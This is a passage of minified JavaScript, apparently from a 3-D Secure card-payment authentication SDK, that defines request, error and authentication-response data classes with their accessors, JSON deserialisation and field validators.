a));return d};IntValidator.prototype.getAllowedProperties=function(){return[Property.STRICT,Property.MIN,Property.MAX]};AuthenticationRequestWebParameters.prototype=NDObject.create(Convertible.prototype);AuthenticationRequestWebParameters.prototype.getFieldMetadata=function(){return AuthenticationRequestWebParameters.FieldMetadata};AuthenticationRequestWebParameters.prototype.getBrowserData=function(){return this.browserData};
AuthenticationRequestWebParameters.prototype.setBrowserData=function(a){this.browserData=a};function MessageExtensionAttributes(){Convertible.call(this);this.name=this.id=this.data=this.criticalityIndicator=null;Interface.implement(this,ISyncable)}AuthenticationRequestWebParameters.prototype.getThreeDSServerTransID=function(){return this.threeDSServerTransID};AuthenticationRequestWebParameters.prototype.setThreeDSServerTransID=function(a){this.threeDSServerTransID=a};
AuthenticationRequestWebParameters.prototype.getThreeDSCompInd=function(){return this.threeDSCompInd};AuthenticationRequestWebParameters.prototype.setThreeDSCompInd=function(a){this.threeDSCompInd=a};AuthenticationRequestWebParameters.fromJson=function(a){var b=new AuthenticationRequestWebParameters;JsonSerializer.readJsonIntoInstance(b,a);return b};AuthenticationRequestWebParameters.fromMap=function(a){var b=new AuthenticationRequestWebParameters;(new JsonSerializer).readMapIntoInstance(b,a,a);return b};
AuthenticationRequestWebParameters.FieldMetadata={};for(key in Convertible.FieldMetadata)Convertible.FieldMetadata.hasOwnProperty(key)&&(AuthenticationRequestWebParameters.FieldMetadata[key]=Convertible.FieldMetadata[key]);function CancelIndicator(a,b){Enumerable.call(this,a,CancelIndicator.VALUES,b);b&&(CancelIndicator.VALUES[a]=this)}
AuthenticationRequestWebParameters.FieldMetadata.browserData=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationRequestWebParameters?a.getBrowserData():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationRequestWebParameters&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,WidgetBrowserData,"WidgetBrowserData")&&(a.setBrowserData(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(){return new WidgetBrowserData}).enableDcoSync().enableSerialization().setFieldType(Init.Type.WidgetBrowserData).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
AuthenticationRequestWebParameters.FieldMetadata.threeDSServerTransID=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationRequestWebParameters?a.getThreeDSServerTransID():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationRequestWebParameters&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,UUID,"UUID")&&(a.setThreeDSServerTransID(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){var b=
new UUID;b.setRawValue(a);return b}).enableSerialization().setFieldType(Init.Type.UUID).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
AuthenticationRequestWebParameters.FieldMetadata.threeDSCompInd=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationRequestWebParameters?a.getThreeDSCompInd():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationRequestWebParameters&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,TernaryYesNoUnavailable,"TernaryYesNoUnavailable")&&(a.setThreeDSCompInd(b),c=FieldMetadata.SetterResult.SUCCESS));
return c}).setValueInitializer(function(a){return TernaryYesNoUnavailable.fromObject(a)}).enableSerialization().setFieldType(Init.Type.TernaryYesNoUnavailable).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());EMVRuntimeErrorEvent.prototype=NDObject.create(Convertible.prototype);EMVRuntimeErrorEvent.prototype.getFieldMetadata=function(){return EMVRuntimeErrorEvent.FieldMetadata};
EMVRuntimeErrorEvent.prototype.getErrorCode=function(){return this.errorCode};EMVRuntimeErrorEvent.prototype.setErrorCode=function(a){this.errorCode=a};EMVRuntimeErrorEvent.prototype.getErrorMessage=function(){return this.errorMessage};EMVRuntimeErrorEvent.prototype.setErrorMessage=function(a){this.errorMessage=a};EMVRuntimeErrorEvent.fromJson=function(a){var b=new EMVRuntimeErrorEvent;JsonSerializer.readJsonIntoInstance(b,a);return b};
EMVRuntimeErrorEvent.fromMap=function(a){var b=new EMVRuntimeErrorEvent;(new JsonSerializer).readMapIntoInstance(b,a,a);return b};EMVRuntimeErrorEvent.FieldMetadata={};for(key in Convertible.FieldMetadata)Convertible.FieldMetadata.hasOwnProperty(key)&&(EMVRuntimeErrorEvent.FieldMetadata[key]=Convertible.FieldMetadata[key]);
EMVRuntimeErrorEvent.FieldMetadata.errorCode=(new FieldMetadata).setValueRetriever(function(a){return a instanceof EMVRuntimeErrorEvent?a.getErrorCode():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof EMVRuntimeErrorEvent&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setErrorCode(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,String,
"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
EMVRuntimeErrorEvent.FieldMetadata.errorMessage=(new FieldMetadata).setValueRetriever(function(a){return a instanceof EMVRuntimeErrorEvent?a.getErrorMessage():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof EMVRuntimeErrorEvent&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setErrorMessage(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());ChallengeResponse.prototype=NDObject.create(ChallengeOutcome.prototype);
ChallengeResponse.prototype.getFieldMetadata=function(){return ChallengeResponse.FieldMetadata};ChallengeResponse.FieldMetadata={};for(key in ChallengeOutcome.FieldMetadata)ChallengeOutcome.FieldMetadata.hasOwnProperty(key)&&(ChallengeResponse.FieldMetadata[key]=ChallengeOutcome.FieldMetadata[key]);AuthenticationResponse.prototype=NDObject.create(APIResponse.prototype);AuthenticationResponse.prototype.getFieldMetadata=function(){return AuthenticationResponse.FieldMetadata};
AuthenticationResponse.prototype.getSdkTransID=function(){return this.sdkTransID};AuthenticationResponse.prototype.setSdkTransID=function(a){this.sdkTransID=a};AuthenticationResponse.prototype.getThreeDSServerTransID=function(){return this.threeDSServerTransID};AuthenticationResponse.prototype.setThreeDSServerTransID=function(a){this.threeDSServerTransID=a};AuthenticationResponse.prototype.getAcsChallengeMandated=function(){return this.acsChallengeMandated};
AuthenticationResponse.prototype.setAcsChallengeMandated=function(a){this.acsChallengeMandated=a};AuthenticationResponse.prototype.getAcsDecConInd=function(){return this.acsDecConInd};AuthenticationResponse.prototype.setAcsDecConInd=function(a){this.acsDecConInd=a};AuthenticationResponse.prototype.getAcsOperatorID=function(){return this.acsOperatorID};AuthenticationResponse.prototype.setAcsOperatorID=function(a){this.acsOperatorID=a};
function INdsConnection(){this.mOnSuccess=function(){};this.mOnError=function(){}}AuthenticationResponse.prototype.getAcsReferenceNumber=function(){return this.acsReferenceNumber};AuthenticationResponse.prototype.setAcsReferenceNumber=function(a){this.acsReferenceNumber=a};AuthenticationResponse.prototype.getAcsRenderingType=function(){return this.acsRenderingType};AuthenticationResponse.prototype.setAcsRenderingType=function(a){this.acsRenderingType=a};
AuthenticationResponse.prototype.getAcsSignedContent=function(){return this.acsSignedContent};AuthenticationResponse.prototype.setAcsSignedContent=function(a){this.acsSignedContent=a};AuthenticationResponse.prototype.getAcsTransID=function(){return this.acsTransID};AuthenticationResponse.prototype.setAcsTransID=function(a){this.acsTransID=a};AuthenticationResponse.prototype.getAcsURL=function(){return this.acsURL};AuthenticationResponse.prototype.setAcsURL=function(a){this.acsURL=a};
AuthenticationResponse.prototype.getAuthenticationType=function(){return this.authenticationType};function ACSUITemplate(a,b){Enumerable.call(this,a,ACSUITemplate.VALUES,b);b&&(ACSUITemplate.VALUES[a]=this)}AuthenticationResponse.prototype.setAuthenticationType=function(a){this.authenticationType=a};AuthenticationResponse.prototype.getAuthenticationValue=function(){return this.authenticationValue};AuthenticationResponse.prototype.setAuthenticationValue=function(a){this.authenticationValue=a};
AuthenticationResponse.prototype.getBroadInfo=function(){null===ObjectUtils.normalize(this.broadInfo)&&(this.broadInfo={});return this.broadInfo};AuthenticationResponse.prototype.setBroadInfo=function(a){this.broadInfo=a};AuthenticationResponse.prototype.putBroadInfo=function(a,b){this.getBroadInfo()["function"===typeof a.toString?a.toString():a]=b};AuthenticationResponse.prototype.getCardholderInfo=function(){return this.cardholderInfo};
AuthenticationResponse.prototype.setCardholderInfo=function(a){this.cardholderInfo=a};AuthenticationResponse.prototype.getDsReferenceNumber=function(){return this.dsReferenceNumber};AuthenticationResponse.prototype.setDsReferenceNumber=function(a){this.dsReferenceNumber=a};AuthenticationResponse.prototype.getDsTransID=function(){return this.dsTransID};AuthenticationResponse.prototype.setDsTransID=function(a){this.dsTransID=a};AuthenticationResponse.prototype.getEci=function(){return this.eci};
function WhitelistStatus(a,b){Enumerable.call(this,a,WhitelistStatus.VALUES,b);b&&(WhitelistStatus.VALUES[a]=this)}AuthenticationResponse.prototype.setEci=function(a){this.eci=a};AuthenticationResponse.prototype.getMessageExtension=function(){null===ObjectUtils.normalize(this.messageExtension)&&(this.messageExtension=[]);return this.messageExtension};AuthenticationResponse.prototype.setMessageExtension=function(a){this.messageExtension=a};AuthenticationResponse.prototype.addMessageExtension=function(a){this.getMessageExtension().push(a)};
function BaseValidator(a,b){this.mParentFieldName=a;this.mValidateArguments="undefined"!==typeof b?b:!0}AuthenticationResponse.prototype.getMessageType=function(){return this.messageType};function AuthenticationType(a,b){Enumerable.call(this,a,AuthenticationType.VALUES,b);b&&(AuthenticationType.VALUES[a]=this)}function ObjectValidator(a){BaseValidator.call(this,a,!1)}AuthenticationResponse.prototype.setMessageType=function(a){this.messageType=a};
AuthenticationResponse.prototype.getMessageVersion=function(){return this.messageVersion};AuthenticationResponse.prototype.setMessageVersion=function(a){this.messageVersion=a};AuthenticationResponse.prototype.getTransStatus=function(){return this.transStatus};AuthenticationResponse.prototype.setTransStatus=function(a){this.transStatus=a};AuthenticationResponse.prototype.getTransStatusReason=function(){return this.transStatusReason};
AuthenticationResponse.prototype.setTransStatusReason=function(a){this.transStatusReason=a};AuthenticationResponse.prototype.getEncodedCReq=function(){return this.encodedCReq};AuthenticationResponse.prototype.setEncodedCReq=function(a){this.encodedCReq=a};AuthenticationResponse.prototype.getWhiteListStatus=function(){return this.whiteListStatus};AuthenticationResponse.prototype.setWhiteListStatus=function(a){this.whiteListStatus=a};AuthenticationResponse.prototype.getWhiteListStatusSource=function(){return this.whiteListStatusSource};
function nsbfhmwjpt(a){return(new Date(a)).getMinutes()}AuthenticationResponse.prototype.setWhiteListStatusSource=function(a){this.whiteListStatusSource=a};AuthenticationResponse.fromJson=function(a){var b=new AuthenticationResponse;JsonSerializer.readJsonIntoInstance(b,a);return b};AuthenticationResponse.fromMap=function(a){var b=new AuthenticationResponse;(new JsonSerializer).readMapIntoInstance(b,a,a);return b};AuthenticationResponse.FieldMetadata={};
for(key in APIResponse.FieldMetadata)APIResponse.FieldMetadata.hasOwnProperty(key)&&(AuthenticationResponse.FieldMetadata[key]=APIResponse.FieldMetadata[key]);
AuthenticationResponse.FieldMetadata.sdkTransID=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationResponse?a.getSdkTransID():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,UUID,"UUID")&&(a.setSdkTransID(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){var b=new UUID;b.setRawValue(a);return b}).enableSerialization().setFieldType(Init.Type.UUID).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
AuthenticationResponse.FieldMetadata.threeDSServerTransID=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationResponse?a.getThreeDSServerTransID():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,UUID,"UUID")&&(a.setThreeDSServerTransID(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){var b=new UUID;
b.setRawValue(a);return b}).enableSerialization().setFieldType(Init.Type.UUID).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
AuthenticationResponse.FieldMetadata.acsChallengeMandated=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationResponse?a.getAcsChallengeMandated():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,BooleanYesNo,"BooleanYesNo")&&(a.setAcsChallengeMandated(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return BooleanYesNo.fromObject(a)}).enableSerialization().setFieldType(Init.Type.BooleanYesNo).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
AuthenticationResponse.FieldMetadata.acsDecConInd=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationResponse?a.getAcsDecConInd():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,BooleanYesNo,"BooleanYesNo")&&(a.setAcsDecConInd(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return BooleanYesNo.fromObject(a)}).enableSerialization().setFieldType(Init.Type.BooleanYesNo).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
AuthenticationResponse.FieldMetadata.acsOperatorID=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationResponse?a.getAcsOperatorID():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setAcsOperatorID(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
AuthenticationResponse.FieldMetadata.acsReferenceNumber=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationResponse?a.getAcsReferenceNumber():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setAcsReferenceNumber(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,32).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
AuthenticationResponse.FieldMetadata.acsRenderingType=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationResponse?a.getAcsRenderingType():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,ACSRenderingType,"ACSRenderingType")&&(a.setAcsRenderingType(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(){return new ACSRenderingType}).enableDcoSync().enableSerialization().setFieldType(Init.Type.ACSRenderingType).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
AuthenticationResponse.FieldMetadata.acsSignedContent=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationResponse?a.getAcsSignedContent():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setAcsSignedContent(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
AuthenticationResponse.FieldMetadata.acsTransID=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationResponse?a.getAcsTransID():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,UUID,"UUID")&&(a.setAcsTransID(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){var b=new UUID;b.setRawValue(a);return b}).enableSerialization().setFieldType(Init.Type.UUID).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
AuthenticationResponse.FieldMetadata.acsURL=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationResponse?a.getAcsURL():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,URL,"URL")&&(a.setAcsURL(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){var b=new URL;b.setRawValue(a);return b}).enableSerialization().setFieldType(Init.Type.URL).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
AuthenticationResponse.FieldMetadata.authenticationType=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationResponse?a.getAuthenticationType():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,AuthenticationType,"AuthenticationType")&&(a.setAuthenticationType(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return AuthenticationType.fromObject(a)}).enableSerialization().setFieldType(Init.Type.AuthenticationType).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
AuthenticationResponse.FieldMetadata.authenticationValue=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationResponse?a.getAuthenticationValue():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,Base64,"Base64")&&(a.setAuthenticationValue(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){var b=new Base64;
b.setRawValue(a);return b}).enableSerialization().setFieldType(Init.Type.Base64).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.LENGTH,28).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
AuthenticationResponse.FieldMetadata.broadInfo=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationResponse?a.getBroadInfo():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;if(a instanceof AuthenticationResponse){c=FieldMetadata.SetterResult.FAILURE;var d=Object;ObjectUtils.isArray(b)&&2===b.length&&"string"===typeof b[0]&&MetadataUtils.isInstanceOf(b[1],d,"Object")&&(a.putBroadInfo(b[0],b[1]),c=FieldMetadata.SetterResult.SUCCESS)}return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
Object,"Object")?a:null}).enableSerialization().setFieldType(Init.Type.Object).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.ALLOW_EMPTY,!1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.MAP).addContext(FieldMetadata.ValidatorContext.THIS).build());
AuthenticationResponse.FieldMetadata.cardholderInfo=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationResponse?a.getCardholderInfo():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setCardholderInfo(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,128).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
AuthenticationResponse.FieldMetadata.dsReferenceNumber=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationResponse?a.getDsReferenceNumber():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setDsReferenceNumber(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
AuthenticationResponse.FieldMetadata.dsTransID=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationResponse?a.getDsTransID():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,UUID,"UUID")&&(a.setDsTransID(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){var b=new UUID;b.setRawValue(a);return b}).enableSerialization().setFieldType(Init.Type.UUID).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
AuthenticationResponse.FieldMetadata.eci=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationResponse?a.getEci():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setEci(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,String,"String")?a:
null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.LENGTH,2).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
AuthenticationResponse.FieldMetadata.messageExtension=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationResponse?a.getMessageExtension():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,MessageExtensionAttributes,"MessageExtensionAttributes")&&(a.addMessageExtension(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(){return new MessageExtensionAttributes}).enableDcoSync().enableSerialization().setFieldType(Init.Type.MessageExtensionAttributes).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.ARRAY).addContext(FieldMetadata.ValidatorContext.THIS).addProperty(Property.MAX_LENGTH,
10).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.ALLOW_EMPTY,!1).build());function ThreeDSDate(a){CustomConvertible.call(this);this.mValidationOptions={};this.setRawValue(a)}
AuthenticationResponse.FieldMetadata.messageType=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationResponse?a.getMessageType():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,MsgType,"MsgType")&&(a.setMessageType(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MsgType.fromObject(a)}).enableSerialization().setFieldType(Init.Type.MsgType).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
AuthenticationResponse.FieldMetadata.messageVersion=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationResponse?a.getMessageVersion():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,MessageVersionType,"MessageVersionType")&&(a.setMessageVersion(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MessageVersionType.fromObject(a)}).enableSerialization().setFieldType(Init.Type.MessageVersionType).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
